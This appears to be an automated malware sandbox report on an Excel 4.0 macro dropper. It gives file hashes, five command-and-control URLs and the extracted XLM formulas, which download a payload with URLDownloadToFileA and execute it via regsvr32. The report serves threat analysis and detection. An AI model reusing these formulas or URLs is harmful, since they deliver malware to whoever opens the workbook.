General

  • Target

    137be1ec05e9e93592a33529d6f946abd5a9a5c2bf3224ba4a0d553c96913c55

  • Size

    173KB

  • Sample

    241120-2mzjgsvnbw

  • MD5

    246a92289f66a7814eb26c84c5e3d4bc

  • SHA1

    641908c6e98cc4203a3a270c6ec9e1b770ae545e

  • SHA256

    137be1ec05e9e93592a33529d6f946abd5a9a5c2bf3224ba4a0d553c96913c55

  • SHA512

    e3182841a35568382a772be683005258cd82e28d32112650ce4b3019165454f156c502d4ad1ff6e53744c0b947c4e8efb44cf4de11fb97913f026b24feb448bf

  • SSDEEP

    3072:zUlKwtyfsBMtuqBqBqrhyqBqBqBqrhyqmBqenFZRmXANKXg7e79ElHIcp4Gg7SpB:z+KwtyfsBMtuqBqBqrhyqBqBqBqrhyqU

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://carretilha.net/whats/RSL50BlRP0a6hj/

https://shrinandrajoverseas.com/old/wQXty0wnVDY/

https://zionimoveis.com.br/wp-content/Bn00gaw/

https://kontacsgo.pl/m/uwZYNUjGeWW/

http://vps36153.publiccloud.com.br/wp-admin/RfAZZ776uMNhSpOT/

Attributes
  • formulas

    =FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://carretilha.net/whats/RSL50BlRP0a6hj/","..\xxw1.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://shrinandrajoverseas.com/old/wQXty0wnVDY/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://zionimoveis.com.br/wp-content/Bn00gaw/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://kontacsgo.pl/m/uwZYNUjGeWW/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://vps36153.publiccloud.com.br/wp-admin/RfAZZ776uMNhSpOT/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\xxw1.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://carretilha.net/whats/RSL50BlRP0a6hj/

xlm40.dropper

https://shrinandrajoverseas.com/old/wQXty0wnVDY/

xlm40.dropper

https://zionimoveis.com.br/wp-content/Bn00gaw/

xlm40.dropper

https://kontacsgo.pl/m/uwZYNUjGeWW/

xlm40.dropper

http://vps36153.publiccloud.com.br/wp-admin/RfAZZ776uMNhSpOT/

Targets

    • Target

      137be1ec05e9e93592a33529d6f946abd5a9a5c2bf3224ba4a0d553c96913c55

    • Size

      173KB

    • MD5

      246a92289f66a7814eb26c84c5e3d4bc

    • SHA1

      641908c6e98cc4203a3a270c6ec9e1b770ae545e

    • SHA256

      137be1ec05e9e93592a33529d6f946abd5a9a5c2bf3224ba4a0d553c96913c55

    • SHA512

      e3182841a35568382a772be683005258cd82e28d32112650ce4b3019165454f156c502d4ad1ff6e53744c0b947c4e8efb44cf4de11fb97913f026b24feb448bf

    • SSDEEP

      3072:zUlKwtyfsBMtuqBqBqrhyqBqBqBqrhyqmBqenFZRmXANKXg7e79ElHIcp4Gg7SpB:z+KwtyfsBMtuqBqBqrhyqBqBqBqrhyqU

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks